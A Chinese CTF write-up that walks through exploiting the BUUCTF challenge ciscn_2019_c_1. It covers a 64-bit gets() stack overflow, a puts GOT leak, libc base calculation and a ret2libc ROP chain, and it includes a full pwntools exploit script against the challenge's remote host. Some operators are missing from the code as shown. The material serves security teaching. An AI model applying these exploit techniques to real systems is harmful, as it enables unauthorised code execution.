CTF逆向实战:64位栈溢出与ROP链构造技术详解 1. 逆向分析实战从题目到思路的完整拆解最近在BUUCTF平台上刷题又遇到了那道经典的ciscn_2019_c_1。这道题在CTF逆向圈子里算是“老朋友”了经常被拿来作为栈溢出和ROP链构造的入门教学案例。但每次重新分析总能发现一些新的细节或者对某些操作的理解更深一层。今天我就把自己最近一次完整的分析过程记录下来从拿到二进制文件开始到最终拿到flag每一步的思路、踩过的坑以及用到的技巧都和大家分享一下。无论你是刚接触逆向的新手还是想巩固一下基础的老手希望这篇实战记录都能给你带来一些启发。这道题的核心考点非常明确64位程序的栈溢出漏洞利用并且程序开启了NX保护需要构造ROP链来调用系统函数如system获取shell。题目本身没有复杂的混淆或反调试非常适合用来练习ROP攻击的基本功。整个分析过程我们可以拆解为几个清晰的阶段首先是静态分析快速定位漏洞点和关键函数然后是动态调试验证我们的猜想并获取关键地址最后是ROP链的构造与利用脚本的编写。下面我们就一步步来。1.1 初探静态分析与漏洞定位拿到一个陌生的二进制文件第一步永远是先跑起来看看再用工具“扫一眼”。我习惯先用file和checksec命令做个快速体检。file ciscn_2019_c_1 checksec --fileciscn_2019_c_1输出结果会告诉我们这是一个64位的ELF可执行文件并且关键的安全特性是NX enabled栈不可执行。这意味着我们不能简单地把shellcode放在栈上然后跳转过去执行必须转向ROPReturn-Oriented Programming技术。接下来用IDA Pro打开它进行静态分析。主函数main的结构很清晰int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); puts(Welcome to this game!.); puts(Its a easy game.); puts(Enjoy it!); return start_game(); }程序调用了start_game函数。跟进这个函数会发现它提供了一个菜单有加密encrypt和解密decrypt功能。但仔细看代码逻辑无论选择加密还是解密最终都会走到同一个处理函数我们暂且叫它process_input并且这个函数存在明显的栈溢出漏洞。关键漏洞点在于使用了不安全的gets函数来读取用户输入。在process_input函数中通常会有一个局部字符数组比如char s[100]用来存储输入然后调用gets(s)。gets函数会一直读取输入直到遇到换行符或EOF完全不检查目标缓冲区的大小这就为我们覆盖返回地址提供了可能。注意在静态分析时要特别留意那些危险的字符串操作函数如gets、strcpy不带长度检查、scanf%s格式符等。它们往往是栈溢出的“罪魁祸首”。同时要计算好缓冲区比如s的起始地址到函数返回地址rbp8的偏移量。这可以通过IDA的栈视图或者手动计算rbp与缓冲区地址的差值来得到。1.2 核心思路绕过NX与寻找ROP Gadget由于NX保护开启我们的利用思路必须转向ROP。ROP的精髓在于利用程序中已有的、以ret指令结尾的小代码片段gadget将它们串联起来达到改变程序控制流、执行任意代码的目的。对于这道题最经典的目标是执行system(/bin/sh)。那么我们需要找到哪些“零件”呢控制rdi寄存器的gadget在64位Linux系统调用约定中第一个参数由rdi寄存器传递。我们要执行system(/bin/sh)就需要把字符串/bin/sh的地址放入rdi。system函数的地址可以是libc中的system函数地址。但ASLR地址空间布局随机化通常是开启的libc的基址每次运行都不同。我们需要先泄漏出一个libc中的地址比如puts函数的真实地址然后根据libc版本中函数的固定偏移计算出system和字符串/bin/sh的地址。/bin/sh字符串的地址同上需要从libc中计算得出因为libc里本身就包含这个字符串。所以完整的攻击链两次攻击思路就出来了第一次泄漏地址利用栈溢出覆盖返回地址跳转到putsplt去打印出putsgot中的内容即puts函数在内存中的真实地址。然后让程序流返回到main或start_game函数让程序“重启”以便我们进行第二次输入。第二次getshell根据泄漏出的puts真实地址计算出libc基址进而得到system和/bin/sh的地址。再次利用栈溢出构造ROP链pop rdi; retgadget /bin/sh地址system地址。2. 动态调试与偏移计算理论清晰了接下来就需要用动态调试来获取精确的数值。我通常使用gdb配合pwndbg插件效率会高很多。2.1 计算精确的溢出偏移首先我们需要知道从我们输入的缓冲区开始到覆盖掉函数返回地址到底需要多少字节。这里可以用pattern工具来生成一段特殊的字符串。# 使用pwntools的cyclic工具生成200个字符的模式串 cyclic 200假设生成的是aaaabaaacaaadaaaeaaaf...。在gdb中运行程序在gets函数调用后下断点然后将这串字符作为输入。程序崩溃时查看RIP指令指针寄存器的值它会被我们输入字符串的某一部分覆盖。# 在gdb中 run # 当程序提示输入时粘贴刚才生成的200个字符程序崩溃后RIP的值可能显示为0x6161616161616166‘faaaaaaa’的ASCII码。此时再用cyclic工具反查这个值在模式串中的位置。cyclic -l 0x6161616161616166命令会返回一个数字比如120。这个数字就是从缓冲区开始到覆盖RIP所需的字节数。但这里有一个非常重要的细节在64位程序中RIP之前通常还有保存的RBP8字节。所以从缓冲区开始到RIP的偏移量实际上是偏移 pattern_offset 8。不过更常见的做法是我们构造payload时先用任意数据比如‘A’*offset填充到RBP再用8个字节覆盖RBP虽然通常不重要可以也用垃圾数据填充最后才是我们想要覆盖的RIP地址。因此让程序直接崩溃在RIP的偏移量就是我们需要覆盖的RIP之前的填充长度。假设cyclic -l返回120那么我们的payload结构就是payload b‘A’*120 p64(ret_addr)。实操心得不同环境如本地调试和远程服务器下的偏移量有可能不同这通常是因为栈帧对齐或环境变量差异造成的。最稳妥的方法是在攻击脚本中先用一个简单的payload如覆盖返回地址为main测试一下看程序是否能按预期循环起来从而确认偏移量是否正确。2.2 寻找必备的Gadget我们需要一个pop rdi; ret的gadget。可以用ROPgadget工具在二进制文件中搜索。ROPgadget --binary ciscn_2019_c_1 --only pop|ret | grep rdi通常能在程序中找到类似0x400c83: pop rdi; ret这样的gadget。记下这个地址。同时我们还需要puts函数的PLT和GOT表地址。这些在IDA中很容易看到putsplt: 例如0x4006e0putsgot: 例如0x602020另外需要一个返回地址让第一次攻击后程序能回到main或start_game以便进行第二次输入。可以直接用main函数的地址例如0x400b28。3. 利用脚本编写与细节打磨有了所有“零件”的地址就可以开始编写利用脚本了。我习惯使用Python的pwntools库它封装了很多和二进制程序交互的便捷功能。3.1 第一阶段泄漏Libc地址第一阶段的payload结构如下payload b‘A’ * offset # 填充到返回地址 payload p64(pop_rdi_ret) # gadget地址 payload p64(puts_got) # 参数1要打印的地址puts在GOT中的地址 payload p64(puts_plt) # 调用puts函数 payload p64(main_addr) # puts返回后跳回main函数重新开始编写脚本时要注意几点接收泄漏的地址puts输出的是内存中的原始字节。我们需要用recvuntil()和recvline()来捕获输出然后用u64()函数将6个字节因为地址是6字节高位补零打包成一个64位整数。pwntools的recvline()可能会包含换行符记得切片处理。# 接收直到某个提示字符然后接收一行提取地址 puts_leak u64(io.recvuntil(b‘\x7f’)[-6:].ljust(8, b‘\x00’))处理程序重启发送完第一阶段payload后程序执行puts打印地址然后跳回main。我们需要让脚本继续与重启后的程序交互准备发送第二阶段payload。这通常意味着需要再次recvuntil到程序的欢迎语或菜单提示。3.2 第二阶段计算地址并GetShell拿到puts的真实地址后我们需要确定目标系统的libc版本。BUUCTF平台通常会提供对应的libc文件或者我们可以用LibcSearcher这样的工具来匹配。假设我们知道了libc版本比如libc-2.27.so就可以计算了# 假设已知libc基址偏移 libc_base puts_leak - libc.symbols[‘puts’] system_addr libc_base libc.symbols[‘system’] binsh_addr libc_base next(libc.search(b‘/bin/sh\x00’))如果使用LibcSearcherfrom LibcSearcher import * libc LibcSearcher(‘puts’, puts_leak) libc_base puts_leak - libc.dump(‘puts’) system_addr libc_base libc.dump(‘system’) binsh_addr libc_base libc.dump(‘str_bin_sh’)然后构造第二阶段的payloadpayload2 b‘A’ * offset payload2 p64(pop_rdi_ret) payload2 p64(binsh_addr) payload2 p64(system_addr) # 有时为了栈平衡在system后还可以加一个exit地址但不是必须的3.3 完整脚本示例与调试下面是一个整合后的脚本框架from pwn import * from LibcSearcher import * context(os‘linux’, arch‘amd64’, log_level‘debug’) io remote(‘node4.buuoj.cn‘, 29584) # 替换成实际远程地址 # io process(‘./ciscn_2019_c_1’) # 本地调试 elf ELF(‘./ciscn_2019_c_1’) offset 120 pop_rdi_ret 0x400c83 ret_addr 0x4006b9 # 有时需要一个单独的ret指令来对齐栈视情况而定 puts_plt elf.plt[‘puts’] puts_got elf.got[‘puts’] main_addr elf.symbols[‘main’] # 第一阶段 payload1 b‘A’ * offset p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(main_addr) io.sendlineafter(b‘Input your choice!\n’, b‘1’) # 选择加密或解密功能 io.sendlineafter(b‘Input your Plaintext to be encrypted\n’, payload1) # 接收泄漏的地址 io.recvuntil(b‘Ciphertext\n’) io.recvline() # 可能有一行乱码跳过 puts_leak u64(io.recvline()[:-1].ljust(8, b‘\x00’)) log.success(‘puts_leak ‘ hex(puts_leak)) # 计算libc地址 libc LibcSearcher(‘puts’, puts_leak) libc_base puts_leak - libc.dump(‘puts’) system_addr libc_base libc.dump(‘system’) binsh_addr libc_base libc.dump(‘str_bin_sh’) # 第二阶段 payload2 b‘A’ * offset p64(pop_rdi_ret) p64(binsh_addr) p64(system_addr) io.sendlineafter(b‘Input your choice!\n’, b‘1’) io.sendlineafter(b‘Input your Plaintext to be encrypted\n’, payload2) io.interactive()调试技巧在脚本开头设置context(log_level‘debug’)可以看到所有发送和接收的数据对于排查问题非常有用。如果本地通了但远程不通首先检查偏移量、gadget地址是否一致。其次检查libc版本是否匹配。BUUCTF题目通常会在附件或描述中给出libc使用指定的libc文件进行计算最准确。有时远程环境需要额外的retgadget来对齐栈由于MOVAPS指令导致的段错误可以在pop rdi; ret前面加一个ret指令的地址。这是一个常见的坑点。4. 常见问题与深度排查指南在实际操作中几乎不可能一次成功。下面是我在多次解题和教学中总结的几个常见问题及其排查思路。4.1 泄漏的地址不正确或程序崩溃症状第一阶段发送后没有输出预期的地址或者程序直接崩溃退出。排查偏移量确认这是最常见的原因。使用cyclic和gdb在远程环境对应的libc版本下精确计算一次偏移。不同libc的栈初始化可能略有不同。Payload构造检查payload构造是否正确特别是地址的打包p64和填充长度。确保覆盖RIP的地址是正确的gadget或函数地址。栈对齐问题在64位系统下调用函数时栈指针rsp需要16字节对齐。有时在system调用前rsp的值不是0x...0会导致崩溃。解决方法是在system地址前加一个ret指令的地址ret指令只做pop rip可以微调rsp。在你的payload中尝试... p64(pop_rdi_ret) p64(binsh_addr) p64(ret_addr) p64(system_addr) ...。程序流程确保你的payload发送到了正确的函数和输入点。有些题目可能有多个输入点你的payload必须在触发漏洞的那个点发送。动态跟踪一下程序执行流。4.2 第二阶段无法获取Shell症状第一阶段成功泄漏地址但第二阶段payload发送后连接断开没有shell。排查Libc版本这是最大的疑点。泄漏的puts地址可能对应多个libc版本。使用LibcSearcher时它可能会返回多个结果需要根据题目平台提示或常见版本手动选择。最可靠的方法是使用题目提供的libc文件。# 如果提供了libc.so文件 libc ELF(‘./libc-2.27.so’) libc_base puts_leak - libc.symbols[‘puts’]/bin/sh字符串确认你计算的binsh_addr是否正确。可以用libc.search(b‘/bin/sh‘)来搜索但要注意可能有多个结果通常取第一个。pwntools的next(libc.search(b‘/bin/sh\x00‘))是标准做法。One-Gadget尝试有时system(“/bin/sh”)调用会因为环境变量等问题失败。可以尝试使用one_gadget工具在libc中寻找能直接启动shell的gadget。one_gadget ./libc-2.27.so然后将第二阶段payload的system_addr替换为one-gadget的地址。注意one-gadget通常有约束条件如某个寄存器需为NULL不一定总能成功。4.3 脚本交互逻辑错误症状脚本卡在某个recvuntil处或者发送payload的时机不对。排查使用Debug输出开启log_level‘debug’仔细观察脚本发送和接收的每一字节数据看是否匹配你的预期。处理多余输出程序在打印泄漏的地址前后可能会输出一些菜单、提示或加密后的乱码。你的recvuntil和recvline需要精确地跳过这些无关输出捕捉到纯粹的地址字节。可能需要多次调整接收语句的参数。交互稳定性网络延迟可能导致交互不同步。可以适当增加timeout或者使用更稳健的接收函数比如io.recv(n)指定接收字节数。4.4 关于ret2csu的进阶技巧在ciscn_2019_c_1中我们幸运地找到了直接的pop rdi; ret。但并非所有程序都这么友好。如果找不到控制rdi的gadget就需要用到ret2csu技术。这是64位ELF程序中一个强大的通用gadget位于__libc_csu_init函数结尾处。它包含一系列pop指令可以控制rbx, rbp, r12, r13, r14, r15然后通过call指令间接控制rdi, rsi, rdx等具体取决于r12指向的函数。这是一个更复杂但必须掌握的技巧当简单gadget缺失时它就是救命稻草。虽然这道题用不上但在更复杂的题目中理解ret2csu能大大拓宽你的解题思路。最后我想说逆向分析和漏洞利用是一个需要大量动手实践的技能。像ciscn_2019_c_1这样的经典题目值得反复练习直到你能在不看任何参考的情况下独立完成从分析、调试到利用的全过程。每一次成功getshell不仅是解出一道题更是对计算机系统底层原理的一次深刻理解。希望这篇详细的实战记录能帮你理顺思路少走弯路。如果在实际操作中遇到其他问题欢迎一起交流探讨。